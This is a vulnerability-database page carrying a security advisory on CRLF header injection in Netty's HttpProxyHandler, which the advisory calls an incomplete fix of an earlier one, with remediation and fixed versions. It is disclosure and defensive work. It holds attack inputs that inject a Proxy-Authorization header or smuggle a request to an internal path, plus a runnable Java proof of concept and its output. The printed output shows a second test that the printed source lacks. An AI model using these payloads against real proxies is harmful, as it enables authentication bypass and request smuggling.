VDB
Sign up
LOW

GHSA-45q3-82m4-75jr

Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)

Quick fix

GHSA-45q3-82m4-75jr — io.netty:netty-handler-proxy: upgrade to the fixed version with the command below.

# pom.xml: bump <version>4.1.133.Final</version> for io.netty:netty-handler-proxy

Details

# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

## 1. Vulnerability Summary

| Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions) | | **Component** | `io.netty.handler.proxy.HttpProxyHandler` | | **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | **Impact** | HTTP Header Injection in CONNECT Proxy Requests | | **CVSS 3.1 Score** | **7.5 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` | | **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |

## 2. Affected Components

- `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`

## 3. Vulnerability Description

Netty's `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

### Root Cause

```java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED

FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.CONNECT, url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

req.headers().set(HttpHeaderNames.HOST, hostHeader);

if (authorization != null) { req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization); }

if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION }

return req; } ```

The `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.

### Incomplete Fix of GHSA-84h7-rjj3-6jx4

**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:

1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided `outboundHeaders` are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class — it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

## 4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders` 2. The application does not perform its own CRLF sanitization on header values

**Common affected patterns**: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel

## 5. Attack Scenarios

### Scenario 1: Proxy Authentication Bypass

```java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers); ```

**Attack input**: `userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="`

**Wire format**: ``` CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED ```

The injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.

### Scenario 2: Request Smuggling via Proxy

**Attack input**: `userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"`

Injects a full smuggled request through the proxy tunnel establishment.

## 6. Proof of Concept

### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.*; import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

// Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false);

FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

req.headers().set(HttpHeaderNames.HOST, "target.com:443");

// Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious);

// Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF_8); out.release(); ch.finishAndReleaseAll();

System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } } ```

### PoC Execution Output (Verified on Netty 4.2.12.Final)

``` === Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r

Injected X-Admin header in wire: true VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true ```

## 7. Remediation Recommendations

### Option 1: Remove withValidation(false)

```java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory(); ```

### Option 2: Validate outboundHeaders Before Adding

```java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); } ```

## 8. Resources

- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix — this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven/io.netty:netty-handler-proxy
Introduced in: 0Fixed in: 4.1.133.Final
Fix# pom.xml: bump <version>4.1.133.Final</version> for io.netty:netty-handler-proxy
Maven/io.netty:netty-handler-proxy
Introduced in: 4.2.0.Alpha1Fixed in: 4.2.13.Final
Fix# pom.xml: bump <version>4.2.13.Final</version> for io.netty:netty-handler-proxy

References